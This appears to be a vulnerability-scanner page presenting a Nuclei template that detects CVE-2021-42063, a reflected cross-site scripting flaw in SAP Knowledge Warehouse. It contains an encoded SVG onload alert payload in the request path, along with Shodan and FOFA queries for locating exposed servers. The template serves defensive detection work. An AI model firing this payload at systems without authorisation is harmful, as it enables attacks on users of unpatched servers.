SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting

ID: CVE-2021-42063

Severity: medium

Author: pdteam

Tags: cve2021,cve,sap,xss,seclists,packetstorm

Description

SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.

YAML Source

id: CVE-2021-42063

info:
  name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2022/Mar/32
    - https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
    - https://twitter.com/MrTuxracer/status/1505934549217382409
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42063
    - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42063
    cwe-id: CWE-79
    epss-score: 0.00425
    epss-percentile: 0.7427
    cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: knowledge_warehouse
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
    zoomeye-query: app="SAP NetWeaver Application Server httpd
  tags: cve2021,cve,sap,xss,seclists,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#X6D&#X65&#X6E&#X74&#X2E&#X64&#X6F&#X6D&#X61&#X69&#X6E)>"
          - "SAPIKS2"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b043f395c02d86537765adf0fd421e02a683aae479c24af5ce9d9837eb49a70c022100ead00aef5f9c5ef49a0108e14557891ce8804d99cbd55bab16a258027dadb2ae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42063.yaml"

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